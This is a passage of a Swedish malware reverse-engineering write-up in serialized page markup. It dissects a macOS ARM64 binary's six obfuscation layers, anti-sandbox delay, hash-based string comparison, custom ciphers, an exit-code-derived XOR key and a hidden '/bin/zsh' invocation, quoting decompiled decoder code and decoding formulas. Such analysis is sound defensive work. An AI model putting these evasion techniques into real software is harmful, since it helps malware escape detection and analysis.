here\n","asm",[555,1146,1147,1152,1157,1162,1167,1173,1179,1185,1191,1197],{"__ignoreMap":585},[622,1148,1149],{"class":624,"line":625},[622,1150,1151],{},"10009f3fc:  stp xzr,xzr,[sp, #0x48]\n",[622,1153,1154],{"class":624,"line":631},[622,1155,1156],{},"10009f41c:  mov w0,#0x37e\n",[622,1158,1159],{"class":624,"line":849},[622,1160,1161],{},"10009f420:  bl  0x1000a0fa8          ; _usleep(0x37e) — 894µs anti-sandbox\n",[622,1163,1164],{"class":624,"line":866},[622,1165,1166],{},"10009f424:  cmp w25,#0xd             ; state counter \u003C 14?\n",[622,1168,1170],{"class":624,"line":1169},5,[622,1171,1172],{},"10009f428:  b.hi 0x10009fd44         ; exit if done\n",[622,1174,1176],{"class":624,"line":1175},6,[622,1177,1178],{},"10009f42c:  mov w8,w25               ; current state index\n",[622,1180,1182],{"class":624,"line":1181},7,[622,1183,1184],{},"10009f430:  adr x9,0x10009f440       ; base of jump table\n",[622,1186,1188],{"class":624,"line":1187},8,[622,1189,1190],{},"10009f434:  ldrh w10,[x20, x8, LSL#1]; load jump offset from table\n",[622,1192,1194],{"class":624,"line":1193},9,[622,1195,1196],{},"10009f438:  add x9,x9,x10, LSL #0x2  ; compute target address\n",[622,1198,1200],{"class":624,"line":1199},10,[622,1201,1202],{},"10009f43c:  br x9                    ; indirect branch, CFG broken here\n",[562,1204,1206],{"id":1205},"sex-staplade-obfuskeringslager","Sex staplade obfuskeringslager",[528,1208,568],{},[528,1210,1211,1212,1215],{},"Binären använder sex olika obfuskeringslager, staplade och kedjade så att utdatan från varje lager matas in i nästa. Varje payload, varje sträng, varje intern konstant är kodad. I ",[555,1213,1214],{},"__const","-segmentet förekommer ingenting meningsfullt i klartext. Det som följer är en fullständig genomgång lager för lager, verifierad direkt i Ghidra, ända ner till enskilda ARM64-instruktioner. Var och en av de använda teknikerna är känd för sig; deras kedjade tillämpning över flera steg skapade dock ett starkt inbördes beroende i exekveringsflödet som avsevärt försvårade den statiska och dynamiska analysen.",[538,1217],{},[706,1219,1221],{"id":1220},"layer-1-compile-time-triplett-kodning","Layer 1: Compile-time-triplett-kodning",[528,1223,712],{},[528,1225,1226,1227,1230],{},"Ingen sträng i binären lagras som en teckensekvens, utan som en sekvens av 12-byte aritmetiska tripletter. Varje triplett ",[555,1228,1229],{},"(a, b, shift)"," kodar exakt ett utdatatecken. Kodningsschemat tillämpas vid kompileringstid, så att ingen sträng någonsin existerar som klartext i binären, inte ens tillfälligt vid laddning.",[528,1232,1233,1234,1237,1238,1241,1242,1245,1246,1237,1249,1252,1253,1256],{},"Två separata decoder-funktioner hanterar olika strängstorlekar. ",[555,1235,1236],{},"FUN_100087c08"," vid ",[555,1239,1240],{},"0x100087c08"," avkodar 60-teckensträngar (720 byte indata från ",[555,1243,1244],{},"DAT_1006292cc","). ",[555,1247,1248],{},"FUN_10007ad80",[555,1250,1251],{},"0x10007ad80"," avkodar 56-teckensträngar (672 byte från ",[555,1254,1255],{},"DAT_10049708c","). Båda använder samma algoritm.",[573,1258,1259],{"style":575},[1043,1260,1261,1264,1266,1269,1059,1271,1064,1273,1276,1277,1279,1280,1282,1283,1285,1286,1289,1290],{},[622,1262,1263],{"style":1047},"// FUN_100087c08 @ 0x100087c08",[1050,1265],{},[622,1267,1268],{"style":1047},"// Triplet decoder, 60 chars, data from DAT_1006292cc",[622,1270,1058],{"style":1057},[622,1272,1236],{"style":1062},[622,1274,1275],{"style":1057},"long"," *param_1)\n{\n  ",[622,1278,1275],{"style":1057}," *plVar1;\n  ",[622,1281,1058],{"style":1057}," *pvVar2;\n  ",[622,1284,1275],{"style":1057}," lVar3;\n  ",[622,1287,1288],{"style":1057},"uint"," *puVar4;\n",[528,1291,1292,1293,1064,1296,1299,1300,1305,1308,1309,1299,1311,1314,1316,1319,1320,1323,1324,1299,1327,1330,1331,1333,1334,1097,1336,1338,1339,1342,1343,1346,1347,1349,1350,1353,1354,1357,1358,1097,1361,1363,1364,1367,1368,1371,1373,1376,1377,1097,1379,1381,1382,1384,1385,1387,1388,1393,1394,1397,1398,1403,1404,1407,1408,1410,1411,1416,1417,1419,1420,1422,1423,1426,1427,1430,1431,1299,1433,1436,1438,1441,1442,1113],{},"pvVar2 = ",[622,1294,1295],{"style":1062},"operator_new",[622,1297,1298],{"style":1083},"0x2d0","); ",[622,1301,1302,1303],{"style":1047},"// allocate 720 bytes (60 triplets × 12)",[1050,1304],{},[622,1306,1307],{"style":1062},"_memcpy","(pvVar2, &DAT_1006292cc, ",[622,1310,1298],{"style":1083},[622,1312,1313],{"style":1047},"// copy encoded triplets from __const",[1050,1315],{},[622,1317,1318],{"style":1062},"FUN_1000a0840","(param_1, ",[622,1321,1322],{"style":1083},"0x3c",", ",[622,1325,1326],{"style":1083},"0",[622,1328,1329],{"style":1047},"// init 60-char output buffer","\nlVar3 = ",[622,1332,1326],{"style":1083},";\npuVar4 = (",[622,1335,1288],{"style":1057},[622,1337,1275],{"style":1057},")pvVar2 + ",[622,1340,1341],{"style":1083},"8",");\n",[622,1344,1345],{"style":1057},"do"," {\nplVar1 = (",[622,1348,1275],{"style":1057}," _)_param_1;\n",[622,1351,1352],{"style":1057},"if"," (-",[622,1355,1356],{"style":1083},"1"," \u003C _(",[622,1359,1360],{"style":1057},"char",[622,1362,1275],{"style":1057},")param_1 + ",[622,1365,1366],{"style":1083},"0x17",")) {\nplVar1 = param_1;\n}\n",[622,1369,1370],{"style":1047},"// THE DECODE FORMULA, one character per triplet:",[1050,1372],{},[622,1374,1375],{"style":1047},"// char = ((b _ 3) XOR a) >> shift) - b","\n_(",[622,1378,1360],{"style":1057},[622,1380,1275],{"style":1057},")plVar1 + lVar3) =\n(",[622,1383,1360],{"style":1057},")((",[622,1386,1070],{"style":1057},")(puVar4",[622,1389,1390,1391],{},"-",[622,1392,1356],{"style":1083}," * ",[622,1395,1396],{"style":1083},"3"," ^ puVar4",[622,1399,1390,1400],{},[622,1401,1402],{"style":1083},"2",") >> (*puVar4 & ",[622,1405,1406],{"style":1083},"0x1f",")) - (",[622,1409,1360],{"style":1057},")puVar4",[622,1412,1413],{},[622,1414,1415],{"style":1083},"-1",";\nlVar3 = lVar3 + ",[622,1418,1356],{"style":1083},";\npuVar4 = puVar4 + ",[622,1421,1396],{"style":1083},"; ",[622,1424,1425],{"style":1047},"// advance 12 bytes — next triplet","\n} ",[622,1428,1429],{"style":1057},"while"," (lVar3 != ",[622,1432,1322],{"style":1083},[622,1434,1435],{"style":1047},"// loop exactly 60 times",[1050,1437],{},[622,1439,1440],{"style":1062},"operator_delete","(pvVar2);\n",[622,1443,1112],{"style":1057},[528,1445,1446],{},"Motsvarande ARM64-assembly, där varje instruktion direkt motsvarar en operation i formeln:",[573,1448,1449],{"style":575},[577,1450,1453],{"className":1451,"code":1452,"language":582},[580],"100087c48:  add x9,x20,#0x8\n100087c4c:  ldp w10,w11,[x9, #-0x8]   ; load a → w10,  b → w11\n100087c50:  add w12,w11,w11, LSL #0x1 ; w12 = b + (b \u003C\u003C 1) = b * 3\n                                       ; (compiler avoids MUL instruction)\n100087c54:  eor w10,w12,w10           ; w10 = (b*3) XOR a\n100087c58:  ldr w12,[x9], #0xc        ; w12 = shift value; post-increment by 12\n100087c5c:  asr w10,w10,w12           ; arithmetic right shift — sign bit preserved\n100087c60:  sub w10,w10,w11           ; subtract b — final decoded character\n100087c74:  strb w10,[x11, x8, LSL ]  ; store one byte to output buffer\n100087c78:  add x8,x8,#0x1\n100087c7c:  cmp x8,#0x3c              ; loop counter vs. 60\n100087c80:  b.ne 0x100087c4c          ; continue until all 60 chars decoded\n",[555,1454,1452],{"__ignoreMap":585},[528,1456,1457,1458,1461,1462,1465],{},"Anmärkningsvärt: multiplikationen ",[555,1459,1460],{},"b × 3"," är implementerad som ",[555,1463,1464],{},"add w12, w11, w11, LSL #1",", en shift-and-add som helt undviker en multiplikationsinstruktion. Det är en klassisk compiler-optimering som samtidigt gör koden svårare att hitta med signaturmatchning.",[528,1467,1468],{},"Den fullständiga avkodningsformeln:",[573,1470,1471],{"style":575},[577,1472,1475],{"className":1473,"code":1474,"language":582},[580],"char = ASR( (b × 3) XOR a, shift ) − b\n",[555,1476,1474],{"__ignoreMap":585},[528,1478,1479,1482,1483,1486,1487,1490],{},[555,1480,1481],{},"ASR"," (Arithmetic Shift Right) är avgörande: den bevarar teckenbiten. Om mellanresultatet av ",[555,1484,1485],{},"(b×3) XOR a"," är negativt, vilket ofta inträffar, skulle en logisk shift ge ett helt annat resultat. Det är avsiktligt: den som återimplementerar formeln i ett högnivåspråk med ",[555,1488,1489],{},">>"," får tyst felaktiga utdata om den teckenbehäftade aritmetiken inte hanteras explicit.",[528,1492,1493,1494,1496,1497,1499,1500,1503],{},"56-teckensvarianten ",[555,1495,1248],{}," är strukturellt identisk, arbetar på ",[555,1498,1255],{}," med en loopgräns på ",[555,1501,1502],{},"0x38",". Båda funktionerna bekräftades live i Ghidra under analysen.",[538,1505],{},[706,1507,1509],{"id":1508},"layer-2-hex-string-kodning","Layer 2: Hex-string-kodning",[528,1511,712],{},[528,1513,1514,1515,1518,1519,1237,1522,1525,1526,1529],{},"Råbytena som Layer 1 producerar är själva ASCII-hex-tecken, inte binärdata. Utdatan från en Layer 1-triplett-avkodning är en sträng av hex-par: ",[555,1516,1517],{},"32694e5462...",". Det bekräftas av decoder-funktionen ",[555,1520,1521],{},"FUN_100000dc0",[555,1523,1524],{},"0x100000dc0",", som implementerar en hex-avkodning via en lookup-tabell vid ",[555,1527,1528],{},"DAT_1007bb591",".",[528,1531,1532,1533,1390,1536,1323,1539,1390,1542,1323,1545,1390,1548,1551],{},"Ghidra-dekompileringen visar en switch-sats som mappar varje hex-tecken (",[555,1534,1535],{},"0x30",[555,1537,1538],{},"0x39",[555,1540,1541],{},"0x41",[555,1543,1544],{},"0x46",[555,1546,1547],{},"0x61",[555,1549,1550],{},"0x66",") till sitt nibble-värde och sätter ihop utdatabytes två tecken i taget:",[573,1553,1554],{"style":575},[1043,1555,1556,1559,1562,1565,1566,1569,1570,1572,1573,1059,1576,1578,1579,1582,1583,939,1586,1059,1588,1591,1592,1422,1595,1597,1598,939,1601,1059,1603,1591,1606,1422,1609,1597,1611,939,1614,939,1617,1059,1619,1578,1621,1059,1623,1591,1625,1422,1628,1630,1631,939,1634,1059,1636,1578,1639,1059,1641,1591,1644,1422,1647,1630,1649,939,1652,1059,1654,1578,1657,1059,1659,1662,1663,1422,1666,1630,1668,939,1671,1059,1673,1578,1676,1059,1678,1681,1682,1422,1685,1630,1687,939,1690,1059,1692,1578,1695,1059,1697,1591,1700,1422,1703,1630,1705,939,1708,1059,1710,1578,1712,1059,1714,1591,1716,1422,1719,1630,1721,1724,1725,1728,1729,1569,1732,1734,1735,1737,1738,1741],{},[622,1557,1558],{"style":1047},"// FUN_100000dc0 @ 0x100000dc0",[622,1560,1561],{"style":1047},"// Hex decoder, processes input two characters per output byte",[622,1563,1564],{"style":1057},"switch","(*(",[622,1567,1568],{"style":1057},"undefined1"," *)((",[622,1571,1275],{"style":1057},")plVar2 + lVar7)) {\n  ",[622,1574,1575],{"style":1057},"case",[622,1577,1535],{"style":1083},": ",[622,1580,1581],{"style":1057},"break",";                  ",[622,1584,1585],{"style":1047},"// '0' → 0x00",[622,1587,1575],{"style":1057},[622,1589,1590],{"style":1083},"0x31",": bVar9 = ",[622,1593,1594],{"style":1083},"0x10",[622,1596,1581],{"style":1057},";   ",[622,1599,1600],{"style":1047},"// '1' → 0x10",[622,1602,1575],{"style":1057},[622,1604,1605],{"style":1083},"0x32",[622,1607,1608],{"style":1083},"0x20",[622,1610,1581],{"style":1057},[622,1612,1613],{"style":1047},"// '2' → 0x20",[622,1615,1616],{"style":1047},"// ... '3' through '9' ...",[622,1618,1575],{"style":1057},[622,1620,1541],{"style":1083},[622,1622,1575],{"style":1057},[622,1624,1547],{"style":1083},[622,1626,1627],{"style":1083},"0xa0",[622,1629,1581],{"style":1057},";  ",[622,1632,1633],{"style":1047},"// 'A'/'a' → 0xa0",[622,1635,1575],{"style":1057},[622,1637,1638],{"style":1083},"0x42",[622,1640,1575],{"style":1057},[622,1642,1643],{"style":1083},"0x62",[622,1645,1646],{"style":1083},"0xb0",[622,1648,1581],{"style":1057},[622,1650,1651],{"style":1047},"// 'B'/'b' → 0xb0",[622,1653,1575],{"style":1057},[622,1655,1656],{"style":1083},"0x43",[622,1658,1575],{"style":1057},[622,1660,1661],{"style":1083},"99",":   bVar9 = ",[622,1664,1665],{"style":1083},"0xc0",[622,1667,1581],{"style":1057},[622,1669,1670],{"style":1047},"// 'C'/'c' → 0xc0",[622,1672,1575],{"style":1057},[622,1674,1675],{"style":1083},"0x44",[622,1677,1575],{"style":1057},[622,1679,1680],{"style":1083},"100",":  bVar9 = ",[622,1683,1684],{"style":1083},"0xd0",[622,1686,1581],{"style":1057},[622,1688,1689],{"style":1047},"// 'D'/'d' → 0xd0",[622,1691,1575],{"style":1057},[622,1693,1694],{"style":1083},"0x45",[622,1696,1575],{"style":1057},[622,1698,1699],{"style":1083},"0x65",[622,1701,1702],{"style":1083},"0xe0",[622,1704,1581],{"style":1057},[622,1706,1707],{"style":1047},"// 'E'/'e' → 0xe0",[622,1709,1575],{"style":1057},[622,1711,1544],{"style":1083},[622,1713,1575],{"style":1057},[622,1715,1550],{"style":1083},[622,1717,1718],{"style":1083},"0xf0",[622,1720,1581],{"style":1057},[622,1722,1723],{"style":1047},"// 'F'/'f' → 0xf0","\n}\n",[622,1726,1727],{"style":1047},"// Second nibble from lookup table at DAT_1007bb591","\n*(",[622,1730,1731],{"style":1057},"byte",[622,1733,1275],{"style":1057},")pppppppuVar3 + uVar8) =\n    (&DAT_1007bb591)[(",[622,1736,1100],{"style":1057},")uVar4 & ",[622,1739,1740],{"style":1083},"0xff","] | bVar9;\n",[528,1743,1744],{},"ARM64-assemblyn driver detta med en sekundär computed branch-tabell och implementerar därmed i praktiken en hopptabell med 55 poster för switch-satsen:",[573,1746,1747],{"style":575},[577,1748,1751],{"className":1749,"code":1750,"language":582},[580],"100000e5c:  adr x17,0x100000e6c      ; base of case-dispatch table\n100000e60:  ldrb w0,[x12, x16, LSL ] ; load offset for this hex char\n100000e64:  add x17,x17,x0, LSL #0x2 ; compute dispatch address\n100000e68:  br x17                   ; jump — second computed branch in 24 bytes\n",[555,1752,1750],{"__ignoreMap":585},[528,1754,1755],{},"Två beräknade branches i ett 24-byte-fönster. Statiska analysverktyg klarar inte det här mönstret eftersom båda branch-målen är okända vid analystillfället.",[528,1757,1758],{},"En 137 208 tecken lång hex-sträng ger efter avkodning 68 604 byte, som sedan matas in i Layer 3.",[538,1760],{},[706,1762,1764],{"id":1763},"layer-3-egendefinierat-16-symbolers-nibble-alfabet","Layer 3: Egendefinierat 16-symbolers nibble-alfabet",[528,1766,712],{},[528,1768,1769],{},"De 68 604 utdatabytena från Layer 2 använder bara 16 unika bytevärden ur två icke sammanhängande ASCII-intervall:",[1771,1772,1773,1822],"ul",{},[1774,1775,1776,1779,1780,1323,1783,1323,1786,1323,1789,1323,1792,1323,1795,1323,1798,1323,1801,1323,1803,1323,1806,1323,1809,1323,1812,1323,1815,1323,1817,1323,1819],"li",{},[555,1777,1778],{},"0x20-0x2F",": mellanslag, ",[555,1781,1782],{},"!",[555,1784,1785],{},"\"",[555,1787,1788],{},"#",[555,1790,1791],{},"$",[555,1793,1794],{},"%",[555,1796,1797],{},"&",[555,1799,1800],{},"'",[555,1802,1064],{},[555,1804,1805],{},")",[555,1807,1808],{},"*",[555,1810,1811],{},"+",[555,1813,1814],{},",",[555,1816,1390],{},[555,1818,1529],{},[555,1820,1821],{},"/",[1774,1823,1824,1578,1827,1323,1830,1323,1833,1323,1836,1323,1839,1323,1842,1323,1845,1848],{},[555,1825,1826],{},"0x78-0x7F",[555,1828,1829],{},"x",[555,1831,1832],{},"y",[555,1834,1835],{},"z",[555,1837,1838],{},"{",[555,1840,1841],{},"|",[555,1843,1844],{},"}",[555,1846,1847],{},"~",", DEL",[528,1850,1851],{},"Det är ett medvetet designval. I en hex-editor ser de här bytena ut som mellanslag, skiljetecken och ASCII-marginaltecken; de smälter in i bruset av det som ser ut som metadata eller padding. En analytiker som ögnar igenom en hex-dump kommer inte att flagga de här byteintervallen som misstänkta, och standardmässig entropianalys underskattar den effektiva entropin eftersom bytefördelningen inte framstår som slumpmässig.",[528,1853,1854,1855,1858,1859,1862,1863,1866,1867,1870],{},"Varje byte i det här alfabetet kodar ett nibble av den egentliga payloaden. Alfabet-till-nibble-mappningen tillämpas av encode-/decode-funktionen ",[555,1856,1857],{},"FUN_100000d60",", som vi bekräftade vid ",[555,1860,1861],{},"0x100000d60",". Den kedjar två delfunktioner: ",[555,1864,1865],{},"FUN_100000b50"," skapar en indexerad karta över tecknen i indatasträngen, och ",[555,1868,1869],{},"FUN_100000c34"," går igenom den kartan, konsumerar 6 bitar per steg och ackumulerar utdatabytes 8 bitar i taget:",[573,1872,1873],{"style":575},[1043,1874,1875,1878,1879,1881,1882,1884,1885,1887,1888,1891,1892,939,1895,1897,1898,1900,1901,943,1904,1906,1907,1910,1911,1913,1914,943,1917,1919,1920,1923,1924,1927,1928,1930,1931,1934,1935,1937,1938,1569,1941,1943,1944,1946,1947,1949],{},[622,1876,1877],{"style":1047},"// FUN_100000c34 @ 0x100000c34, nibble accumulator","\niVar5 = ",[622,1880,1326],{"style":1083},";\n",[622,1883,1345],{"style":1057}," {\n  local_52 = *(",[622,1886,1568],{"style":1057}," *)puVar4;\n  lVar3 = ",[622,1889,1890],{"style":1062},"FUN_1000a078c","(param_3, &local_52);  ",[622,1893,1894],{"style":1047},"// look up nibble value",[622,1896,1352],{"style":1057}," (lVar3 == ",[622,1899,1326],{"style":1083},") {\n    ",[622,1902,1903],{"style":1047},"// character not in alphabet, treat as raw",[622,1905,1890],{"style":1062},"(param_3, &local_51);\n  } ",[622,1908,1909],{"style":1057},"else"," {\n    iVar5 = iVar5 + ",[622,1912,1104],{"style":1083},";           ",[622,1915,1916],{"style":1047},"// accumulate 4 bits",[622,1918,1429],{"style":1057}," (",[622,1921,1922],{"style":1083},"7"," \u003C iVar5) {\n      std::string::",[622,1925,1926],{"style":1062},"push_back","((",[622,1929,1360],{"style":1057},")param_1);  ",[622,1932,1933],{"style":1047},"// emit byte when 8+ bits ready","\n      iVar5 = iVar5 + -",[622,1936,1341],{"style":1083},";\n    }\n  }\n  puVar4 = (",[622,1939,1940],{"style":1057},"undefined8",[622,1942,1275],{"style":1057},")puVar4 + ",[622,1945,1356],{"style":1083},");\n} ",[622,1948,1429],{"style":1057}," (puVar4 != puVar1);\n",[528,1951,1952],{},"De 34 302 byte som kommer ut ur den här genomgången är till 99,7 % skrivbar ASCII. Vid en första flyktig anblick ser payloaden i det här steget ut som ett stort shell-skript eller en konfigurations-blob.",[538,1954],{},[706,1956,1958],{"id":1957},"layer-4-compile-time-string-obfuskering","Layer 4: Compile-time-string-obfuskering",[528,1960,712],{},[528,1962,1963],{},"Internt använda strängar obfuskeras vid kompileringstid med samma triplett-schema som Layer 1 och rekonstrueras vid körning omedelbart innan de används. I minnet stannar de aldrig längre än nödvändigt; bufferten frigörs direkt efter att den förbrukats. I binärens statiska datasektioner är aldrig någon avkodad sträng synlig.",[528,1965,1966,1967,1970],{},"String-hash-funktionen ",[555,1968,1969],{},"FUN_100000730"," levererar ett sekundärt obfuskeringslager för strängjämförelser. I stället för att jämföra strängar direkt, vilket skulle lämna klartext i minnet, beräknar och jämför binären heltals-hashvärden:",[573,1972,1973],{"style":575},[1043,1974,1975,1978,1981,1059,1983,1064,1985,1276,1987,1989,1990,1993,1994,939,1997,939,2000,2003,2004,2006,2007,2009,2010,2012,2013,1630,2016,2019,2020,2022,2023,2025],{},[622,1976,1977],{"style":1047},"// FUN_100000730 @ 0x100000730",[622,1979,1980],{"style":1047},"// FNV-style string hash, avoids plaintext string comparisons",[622,1982,1070],{"style":1057},[622,1984,1969],{"style":1062},[622,1986,1360],{"style":1057},[622,1988,1070],{"style":1057}," iVar4 = ",[622,1991,1992],{"style":1083},"0x19a8",";    ",[622,1995,1996],{"style":1047},"// FNV offset basis (modified)",[622,1998,1999],{"style":1047},"// ...",[622,2001,2002],{"style":1057},"for"," (; uVar3 != ",[622,2005,1326],{"style":1083},"; uVar3 = uVar3 - ",[622,2008,1356],{"style":1083},") {\n    iVar4 = (",[622,2011,1070],{"style":1057},")*pcVar1 + iVar4 * -",[622,2014,2015],{"style":1083},"0x7fb91be3",[622,2017,2018],{"style":1047},"// FNV-1a style multiply","\n    pcVar1 = pcVar1 + ",[622,2021,1356],{"style":1083},";\n  }\n  ",[622,2024,1112],{"style":1057}," iVar4;\n}\n",[528,2027,2028],{},"Motsvarande ARM64-assembly ersätter multiplikationen med en fused multiply-add:",[573,2030,2031],{"style":575},[577,2032,2035],{"className":2033,"code":2034,"language":582},[580],"100000744:  mov w0,#0x19a8            ; FNV basis\n100000750:  mov w10,#0xe41d\n100000754:  movk w10,#0x8046, LSL #16 ; constant = 0x8046e41d = -0x7fb91be3\n100000758:  ldrsb w11,[x8], #0x1      ; load char, post-increment\n10000075c:  madd w0,w0,w10,w11        ; w0 = w0 * 0x8046e41d + char\n100000760:  subs x9,x9,#0x1\n100000764:  b.ne 0x100000758\n",[555,2036,2034],{"__ignoreMap":585},[528,2038,2039],{},"Det innebär att inte ens en jämförelse av två strängar inuti binären skapar en branch som en debugger kan fånga rent på strängnivå, utan bara på hash-nivå.",[538,2041],{},[706,2043,2045],{"id":2044},"layer-5-duala-custom-stream-cipher-instanser","Layer 5: Duala custom-stream-cipher-instanser",[528,2047,712],{},[528,2049,2050,2051,2054],{},"Här blir obfuskeringsarkitekturen ovanlig. I binären körs inte en, utan ",[771,2052,2053],{},"två separata cipher-instanser",", var och en med en annan hårdkodad lookup-tabell och en annan starträknare. Båda använder samma algoritmstruktur men producerar olika utdataalfabet för olika delar av payload-pipelinen.",[528,2056,2057,1323,2060,1237,2063,2066],{},[771,2058,2059],{},"Instans A",[555,2061,2062],{},"FUN_10007ab34",[555,2064,2065],{},"0x10007ab34",":",[573,2068,2069],{"style":575},[1043,2070,2071,2074,2075,1881,2078,2080,2081,1569,2083,2085,2086,2088,2089,1569,2091,2093,2094,2096,2097,1569,2099,2101,2102,2104,2105,2108,2109,2111,2112,2114],{},[622,2072,2073],{"style":1047},"// Instance A, start counter 0x4c, table @ 0x100496f8b","\nuVar6 = ",[622,2076,2077],{"style":1083},"0x4c",[622,2079,1345],{"style":1057}," {\n  bVar2 = *(",[622,2082,1731],{"style":1057},[622,2084,1275],{"style":1057},")local_e0 +\n          ((",[622,2087,1100],{"style":1057},")(*(",[622,2090,1731],{"style":1057},[622,2092,1275],{"style":1057},")local_c8 + uVar5) ^ uVar6) & ",[622,2095,1740],{"style":1083},"));\n  *(",[622,2098,1731],{"style":1057},[622,2100,1275],{"style":1057},")plVar1 + uVar5) = bVar2;\n  uVar6 = (",[622,2103,1070],{"style":1057},")uVar5 + (uVar6 ^ bVar2);  ",[622,2106,2107],{"style":1047},"// counter: i + (counter XOR output)","\n  uVar5 = uVar5 + ",[622,2110,1356],{"style":1083},";\n} ",[622,2113,1429],{"style":1057}," (uVar7 != uVar5);\n",[528,2116,2117,1323,2120,1237,2123,2066],{},[771,2118,2119],{},"Instans B",[555,2121,2122],{},"FUN_10007a7e0",[555,2124,2125],{},"0x10007a7e0",[573,2127,2128],{"style":575},[1043,2129,2130,2074,2133,1881,2136,2080,2138,1569,2140,2142,2143,2088,2145,1569,2147,2149,2150,2096,2152,1569,2154,2101,2156,2104,2158,2108,2161,2111,2163,2114],{},[622,2131,2132],{"style":1047},"// Instance B, start counter 0x9f, different table @ 0x100496e0a region",[622,2134,2135],{"style":1083},"0x9f",[622,2137,1345],{"style":1057},[622,2139,1731],{"style":1057},[622,2141,1275],{"style":1057},")local_c0 +\n          ((",[622,2144,1100],{"style":1057},[622,2146,1731],{"style":1057},[622,2148,1275],{"style":1057},")local_a8 + uVar5) ^ uVar6) & ",[622,2151,1740],{"style":1083},[622,2153,1731],{"style":1057},[622,2155,1275],{"style":1057},[622,2157,1070],{"style":1057},[622,2159,2160],{"style":1047},"// identical counter update formula",[622,2162,1356],{"style":1083},[622,2164,1429],{"style":1057},[528,2166,2167,2168,2170,2171,2173],{},"Algoritmen är strukturellt identisk, men starträknaren skiljer sig (",[555,2169,2077],{}," vs. ",[555,2172,2135],{},") och lookup-tabellerna ligger på olika minnesadresser. Instans A anropas från tillstånd 11 i tillståndsmaskinen för att generera kodningsalfabetet för den första payload-vägen. Instans B anropas från tillstånd 6 för att generera alfabetet för avkodningen av den stora shell-skript-payloaden.",[528,2175,2176,2177,2180,2181,2184,2185,2188],{},"Mer precist uttryckt: det rör sig om ett ",[771,2178,2179],{},"substitutionschiffer med räknarberoende index",". Varje utdatabyte är en tabell-lookup där indexet är ",[555,2182,2183],{},"(input_byte XOR counter) & 0xFF",". Räknaren uppdateras efter varje byte som ",[555,2186,2187],{},"counter = (i + (counter XOR output)) & 0xFF",", vilket innebär att varje utdatabyte påverkar bestämningen av nästa lookup-index. Det skapar en beroendekedja över hela utdatasekvensen: byte N går inte att dekryptera utan att bytena 0 till N-1 har dekrypterats korrekt. Partiell dekryptering eller felanalys blir därmed avsevärt svårare.",[528,2190,2191],{},"Ingen av instanserna är standard-RC4. Det finns ingen S-box-initialiseringsfas, ingen S-box-swap-operation. Lookup-tabellerna är statiska, inbäddade konstanter från kompileringstid.",[538,2193],{},[706,2195,2197],{"id":2196},"layer-6-runtime-xor-med-exit-code-beroende-nyckel","Layer 6: Runtime-XOR med exit-code-beroende nyckel",[528,2199,712],{},[528,2201,2202,2203,2206],{},"Det sista och analytiskt mest krävande lagret tillämpar en in-place-XOR-transformation på stage 2-payloaden. XOR-nyckeln är inte hårdkodad utan härleds vid körning ur exit-koden från den ",[771,2204,2205],{},"första shell-payload-exekveringen",", och är därmed i princip inte bestämbar genom statisk analys. Binären måste faktiskt köras och det första shell-skriptet köra klart innan nyckeln överhuvudtaget existerar.",[528,2208,2209],{},"Nyckelhärledningssekvensen i ARM64-state-machine-dispatchern:",[573,2211,2212],{"style":575},[577,2213,2216],{"className":2214,"code":2215,"language":582},[580],"; After shell_exec_via_pipe #1 returns, exit code is in w0\n10009f838:  ubfx w8,w0,#0x8,#0x8     ; extract bits [15:8] of exit status\n10009f83c:  mov w9,#0x7f0             ; multiplier constant\n10009f840:  madd w8,w8,w9,w26         ; key = (exit_byte × 0x7f0) + base_counter\n10009f844:  and w24,w8,#0xffff        ; mask to 16-bit key → stored in w24\n",[555,2217,2215],{"__ignoreMap":585},[528,2219,2220],{},"XOR-loopen som bearbetar stage 2-payloaden:",[573,2222,2223],{"style":575},[577,2224,2227],{"className":2225,"code":2226,"language":582},[580],"; In-place XOR, every byte of the payload is XORed with w24\n10009fc34:  ldrb w10,[x8, x9, LSL ]  ; load payload byte\n10009fc48:  eor w10,w10,w24          ; XOR with key\n10009fc4c:  strb w10,[x8, x9, LSL ]  ; write decrypted byte in place\n",[555,2228,2226],{"__ignoreMap":585},[528,2230,2231,2232,2235,2236,2239,2240,2242],{},"Nyckeln är ett 16-bitars värde som härleds ur exit-status-byten från den första shell-payloaden, multipliceras med ",[555,2233,2234],{},"0x7f0"," och adderas till det aktuella värdet i tillståndsmaskinens basräknarregister ",[555,2237,2238],{},"w26",". Multiplikationskonstanten ",[555,2241,2234],{}," gör att en enbitsskillnad i exit-koden ger en helt annan nyckel. Det finns ingen utnyttjbar kontinuitet mellan intilliggande nyckelvärden.",[528,2244,2245],{},"Utan att köra binären i en kontrollerad miljö och registrera den exakta exit-koden från den första shell-payloaden förblir stage 2-payloaden permanent ogenomtränglig för statisk analys. Det var den svåraste hindret i hela analysen.",[538,2247],{},[562,2249,2251],{"id":2250},"shell-exekvering-pipes-i-stället-för-argument-och-simd-xor","Shell-exekvering: Pipes i stället för argument, och SIMD-XOR",[528,2253,568],{},[528,2255,2256,2257,1237,2260,2263],{},"Shell-exekveringsfunktionen ",[555,2258,2259],{},"FUN_10000091c",[555,2261,2262],{},"0x10000091c"," är binärens arkitektoniskt mest intressanta komponent. Här löper allt samman: den avkodade payloaden, det obfuskerade kommandonamnet och den uttalade anti-forensiska designen. Varje designval i den här funktionen tjänar ett specifikt evasionssyfte.",[706,2265,2267],{"id":2266},"steg-1-kommandonamnet-förekommer-aldrig-i-klartext","Steg 1: Kommandonamnet förekommer aldrig i klartext",[528,2269,712],{},[528,2271,2272,2275,2276,2279,2280,2283,2284,2287],{},[555,2273,2274],{},"/bin/zsh"," finns ingenstans i binären som klartext. I ",[555,2277,2278],{},"__cstring","-avsnittet vid ",[555,2281,2282],{},"0x1007bb5c8"," ligger strängen som obfuskerade bytes ",[555,2285,2286],{},"\\x01LG@\\x01T]F",". Avkodningen sker vid körning via en enda XOR-operation, direkt verifierbar i ARM64-assemblyn:",[573,2289,2290],{"style":575},[577,2291,2294],{"className":2292,"code":2293,"language":582},[580],"; FUN_10000091c — command name decode via SIMD XOR\n100000960:  adrp x8,0x1007bb000\n100000964:  add x8,x8,#0x5c8          ; x8 → \"\\x01LG@\\x01T]F\" in __cstring\n100000968:  ldr x8,[x8]               ; load 8 obfuscated bytes as uint64\n10000096c:  str x8,[sp, #0x20]\n100000970:  strb wzr,[sp, #0x28]      ; null terminator\n\n100000974:  ldr d0,[sp, #0x20]        ; load into SIMD register d0\n100000978:  movi v1.8B,#0x2e          ; broadcast 0x2e to all 8 lanes of v1\n10000097c:  eor v0.8B,v0.8B,v1.8B    ; XOR all 8 bytes simultaneously\n100000980:  str d0,[sp, #0x20]        ; 